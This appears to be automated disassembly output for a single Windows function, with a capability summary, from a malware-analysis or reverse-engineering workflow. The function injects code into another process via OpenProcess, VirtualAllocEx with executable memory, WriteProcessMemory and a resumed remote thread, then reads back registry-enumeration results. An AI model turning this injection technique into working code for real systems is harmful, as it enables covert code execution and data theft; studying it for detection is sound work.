Function at 0x406918
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Resume thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x43b4
call fcn.0040b510
push ebx
push esi
push edi
mov esi, 0x21bc
xor edi, edi
push esi
lea eax, [esp + 0x48]
push edi
push eax
mov dword [esp + 0x4c], edi
call sub.msvcrt.dll_memset
add esp, 0xc
push esi
lea eax, [esp + 0x2208]
push edi
push eax
mov dword [esp + 0x220c], edi
call sub.msvcrt.dll_memset
add esp, 0xc
call fcn.0040675a
cmp eax, edi
je 0x406c3e
push eax
push edi
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
cmp eax, edi
mov dword [esp + 0x14], eax
je 0x406ba1
push str.kernel32.dll
mov dword [esp + 0x10], edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, eax
lea eax, [esp + 0xc]
push eax
call fcn.0040a111
cmp dword [esp + 0xc], edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40ca5c
push ebx
je 0x4069b7
call dword [esp + 0x14]
jmp 0x4069b9
call esi
mov dword [esp + 0x44], eax
lea eax, [esp + 0xc]
push eax
call fcn.0040a111
cmp dword [esp + 0xc], edi
push 0x40ca6c
push ebx
je 0x4069d9
call dword [esp + 0x14]
jmp 0x4069db
call esi
mov dword [esp + 0x48], eax
lea eax, [esp + 0xc]
push eax
call fcn.0040a111
cmp dword [esp + 0xc], edi
push 0x40ca78
push ebx
je 0x4069fb
call dword [esp + 0x14]
jmp 0x4069fd
call esi
mov dword [esp + 0x40], eax
lea eax, [esp + 0xc]
push eax
call fcn.0040a111
cmp dword [esp + 0xc], edi
push 0x40ca88
push ebx
je 0x406a1d
call dword [esp + 0x14]
jmp 0x406a1f
call esi
mov dword [esp + 0x4c], eax
lea eax, [esp + 0xc]
push eax
call fcn.0040a111
cmp dword [esp + 0xc], edi
push str.lstrcpy
push ebx
je 0x406a3f
call dword [esp + 0x14]
jmp 0x406a41
call esi
push 4
mov ebx, 0x1000
push ebx
mov esi, 0x21c0
push esi
push edi
push dword [esp + 0x24]
mov dword [esp + 0x64], eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0x40
push ebx
mov ebx, 0x800
push ebx
push edi
push dword [esp + 0x24]
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
cmp dword [esp + 0x10], edi
mov dword [esp + 0x18], eax
je 0x406ba1
cmp eax, edi
je 0x406ba1
lea eax, [esp + 0x54]
push str.advapi32.dll
push eax
call sub.msvcrt.dll_strcpy
lea eax, [esp + 0x7c]
push str.RegOpenKeyExA
push eax
call sub.msvcrt.dll_strcpy
lea eax, [esp + 0xa4]
push str.RegEnumKeyExA
push eax
call sub.msvcrt.dll_strcpy
lea eax, [esp + 0xcc]
push str.RegCloseKey
push eax
call sub.msvcrt.dll_strcpy
push edi
mov eax, 0x40cac8
call fcn.00403a1f
add esp, 0x24
push eax
lea eax, [esp + 0xf8]
push eax
call sub.msvcrt.dll_strcpy
pop ecx
pop ecx
push edi
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0x40660a
push dword [esp + 0x24]
push dword [esp + 0x24]
call ebx
push edi
push esi
lea eax, [esp + 0x48]
push eax
push dword [esp + 0x1c]
push dword [esp + 0x24]
call ebx
lea eax, [esp + 0x24]
push eax
push dword [esp + 0x14]
lea eax, [esp + 0x24]
push dword [esp + 0x20]
mov dword [esp + 0x30], edi
push dword [esp + 0x20]
mov dword [esp + 0x2c], edi
mov dword [esp + 0x30], edi
call fcn.0040a9c4
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x2710
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push esi
lea eax, [esp + 0x2208]
push eax
push dword [esp + 0x1c]
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov ebx, 0x8000
push ebx
push edi
push dword [esp + 0x18]
push dword [esp + 0x20]
call esi
push ebx
push edi
push dword [esp + 0x20]
push dword [esp + 0x20]
call esi
cmp dword [esp + 0x1c], edi
je 0x406ba1
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [esp + 0x43b4], edi
je 0x406c3e
push 0x18
lea eax, [esp + 0x2c]
push edi
push eax
call sub.msvcrt.dll_memset
mov ebx, dword [ebp + 8]
lea esi, [ebx + 4]
add esp, 0xc
mov dword [esp + 0x18], esi
call fcn.00406561
test eax, eax
je 0x406be4
lea eax, [ebx + 0x1c]
push eax
push 4
lea eax, [esp + 0x30]
push eax
push edi
mov eax, esi
call dword [eax + 4]
jmp 0x406be7
or eax, 0xffffffff
cmp eax, edi
jne 0x406c28
movsx eax, byte [esp + 0x23b4]
xor esi, esi
cmp eax, edi
mov dword [esp + 0x10], eax
jbe 0x406c28
push dword [esp + 0x10]
mov eax, dword [ebx]
lea ecx, [esp + esi + 0x23b9]
push ecx
mov ecx, ebx
call dword [eax + 4]
mov eax, dword [esp + 0x10]
lea esi, [esi + eax + 2]
movsx eax, byte [esp + esi + 0x23b4]
cmp eax, edi
mov dword [esp + 0x10], eax
ja 0x406bfd
mov esi, dword [esp + 0x18]
mov ebx, dword [ebx + 0x1c]
call fcn.00406561
test eax, eax
je 0x406c3e
push ebx
mov eax, esi
call dword [eax + 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4